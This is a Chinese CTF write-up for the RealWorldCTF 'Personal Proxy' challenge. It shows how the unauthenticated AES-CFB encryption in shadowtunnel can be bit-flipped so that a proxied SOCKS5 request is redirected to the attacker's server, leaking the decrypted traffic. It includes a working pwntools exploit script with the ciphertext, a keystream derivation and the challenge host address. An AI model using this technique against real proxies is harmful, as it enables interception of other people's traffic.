RW3rd Personal Proxy

题目来自3rd RealWorldCTF,题目附件还在CTFtime上有。可以自行下载。

题目中给了一个TCP流量包以及一个dockerfile和配置文件。

简单来说可以如下理解。本机上在61080运行了一个 Socks5服务端,但是没有选择直连这个socks5,而是利用了shadowtunnel进行了对于本机61080的监听,并且将其转发到了50000 的端口上。

然后题目也给出了他们的一个环境。感觉整体配置情况大体上会与给我们的docker以及配置相同。

拿到流量包其实我们大概已经知道了这是什么。这个是他们在利用连接了proxy后上传了一个文件,然后截下来的包。

从shadowtunnel的源码中可以找到其加密方式是aes-192-cfb经过google可以发现其加密方式。

这种模式和cbc很相似,因此我们也可以采用cbc的字节翻转攻击对其进行攻击。

首先还是先对流量进行分析,虽然我们不知道shadowtunnel这里密钥和iv 但是我们知道socks5正常的一些传输包

https://www.cnblogs.com/bohb-yunying/articles/13941527.html

这里介绍了

建立连接:
发送
0x05020001
返回
0x0500
发送
0x05(协议版本)
0x01(tcp)
0x00(保留位)
0x01(目标地址为ip)
0x???????? (ip地址)
0x????(端口号)
返回:
0x05(协议版本)
0x00(状态码)
0x00(保留位)
0x01(地址为ip)
0x???????? (指socks5服务器连接目标地址所用ip)
0x????(端口号)

我们可以发现。

这段报文的前四行也和这个是一种形式的那么我们可以确定这个就是socks5进行的传输。然后下面的数据就是我们需要解密的报文。

在socks5中如果不特殊设置,所有的都是进行明文传输,封装在TCP数据包内。

但我们得知,shadowtunnel并没有aaed这种防重放的功能。我们可以通过构造数据包,让其中的ip指向我们自己的服务器,从而让他重新发出解密后的数据包使得获得解密后的信息。

但是构造数据包就需要一定的密码学知识了。可以直接去看cbc字节反转攻击了。

我们得知了通用的socks5 以及 建立连接用的加密数据流。就可以构造出如下脚本(来自CTFtime)

对于未知的密钥流,我们可以发现我们的docker中设置的为0.0.0.0/0那么我们考虑可以自己发给自己的服务器,这样我们就可以获得一个完整的密钥流,从而恢复出整个sock包。

from pwn import *
CT = b'\x7e\xc2\xf5\xa6\x54\xc8\x6b\x20\x84\x2b\x79\x1c\x1a\x53\xa6\x09\x38\x32\x0f\x68\x54\xf6\xac\xa2\x47\xb9\x25\xc6\x30\xdb\x5d\xe0\xed\x48\x9d\xca\x44\xa7\x5b\x3c\xf4\x8c\x14\xc2\x00\xc5\xbf\x2e\xe2\x71\x32\xd8\x02\x90\x5d\xf1\x5f\x4e\xda\x52\x8c\xd7\xe4\x58\x5f\x49\x5c\x22\x40\x25\x05\xd6\x19\xf7\x81\x9b\xaa\x1c\x54\x62\x51\x06\xd5\x76\x7d\x62\xdb\x32\xe2\x44\x08\xf9\x4a\x2c\x44\x30\xdb\x00\x89\x7c\x42\xff\x20\xdb\xa2\xe8\xc6\xcf\x69\x86\xfd\x1f\x1a\xc8\x88\xc1\x94\x6b\xbb\x65\xcd\xc6\x14\x38\xf0\x10\xd5\x32\x62\xf9\x3a\x67\x23\xc4\x56\x8a\xb4\x9b\x97\x41\xca\x8c\x56\xe7\xb8\xaa\x9a\xca\xfe\x5f\xcd\x36\x7b\xd7\x90\xd2\x46\xe4\x24\x60\xb9\x64\x7d\xe8\x84\x4d\x4f\xfd\x57\x30\x44\xa9\xd9\x1d\xa1\xef\xaf\xc8\xe3\xdf\xa6\xfc\xf4\x44\x28\x53\x50\x38\x24\x53\x93\x2b\x04\xf8\x42\x9d\xae\xfb\x58\x46\xd4\xc2\x01\x9c\xfe\xe0\xf1\x11\x8b\xa3\xe8\xbe\x21\xdd\xc0\xee\xb3\x63\x22\xa6\x91\x3e\x6f\x60\xbd\x2b\xe5\x9a\x62\xf4\x40\x89\x35\x99\xbf\xc3\x19\x5e\x25\x78\xae\x1f\xf2\x60\x88\x72\x6c\xe5\x73\x9e\x90\x40\x71\x01\x38\xae\xfe\xe3\x4c\x27\x55\x2e\x8e\x0f\x62\xa6\xc8\xd3\x05\x42\xa4\x30\x77\xba\xef\x9a\x17\x2a\x3e\x0b\xab\xc9\xaf\x33\x1d\x17\xe0\xc4\x70\x4d\x9f\x0c\x76\x42\xd4\x60\x30\x08\xc1\x99\x00\x21\xb9\xa5\xbd\x6b\x89\xc8\xc0\x9d\x60\xd8\xe7\x5a\xf0\x21\x09\x74\x09\x87\xf5\x8c\xae\x47\x13\xca\xd9\x2f\xef\x9c\x0c\xcc\x5a\x09\x45\x22\x90\x4e\xda\x75\x10\xbf\x94\x27\x6e\xef\x5c\xc8\x73\x62\xa5\x64\x77\xba\xe3\x80\x33\x69\xea\x4f\xf8\x1c\xd4\xdf\x24\x74\x82\x76\xa5\xa1\x77\x68\x41\xf4\x30\x93\x91\x52\x2e\xbf\x0f\xa2\x22\xf2\x0e\x2f\xe3\x3d\x6b\x81\xf3\x71\xe3\x54\x79\xba\x03\xa4\xd6\xb5\x39\xc4\x92\xaa\x92\xab\xda\x62\xcb\xb0\x16\x73\x04\xf2\x82\x6c\x03\x07\xb5\x6b\xa8\x51\x31\x63\xe4\x67\x78'

PT = b'\x05\x02\x00\x01\x05\x01\x00\x01\xc0\xa8\x1f\xef\x1f\x40'
STREAM = xor(b'\x78\x05\xcb\xa2\x09\x2b\x82\xce\xeb\x89\x06\x0a\xe0\x6c',
             b'\x05\x02\x00\x01\x05\x01\x00\x01\xc0\xa8\x1f\xef\x1f\x40')


#inject our own ip
target_ip = b'\x31\x0c\x2e\x33' #49.12.46.51
//填入自己的服务器ip即可。
modded = PT[:8] + target_ip + PT[12:]#b'\x00\x35'
mod_ct = xor(modded, STREAM)
print("Modded payload = ")
print(hexdump(mod_ct))

'''conn = remote('13.52.88.46', 50000)
print("Connected")

#send socks header
conn.send(mod_ct[:4]) # first 4 bytes is socks version + auth methods etc
#进行必要的4位建立连接请求。发出7805

#Did we get accepted? (should be 78 07)
r = conn.recv()
print(hexdump(r))

print("sending remainder of modded thingy")
print(hexdump(mod_ct[4:]))
conn.send(mod_ct[4:])

#然后加入除伪造ip外一模一样的加密包。
#The response to this should be 10 bytes long or so
r = conn.recv()
print(hexdump(r))

print("Time to send the ciphertext!!")
#传入密文
conn.send(CT)

print("byeeeeeeeeeeeee")
conn.close()
'''

推荐文章

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注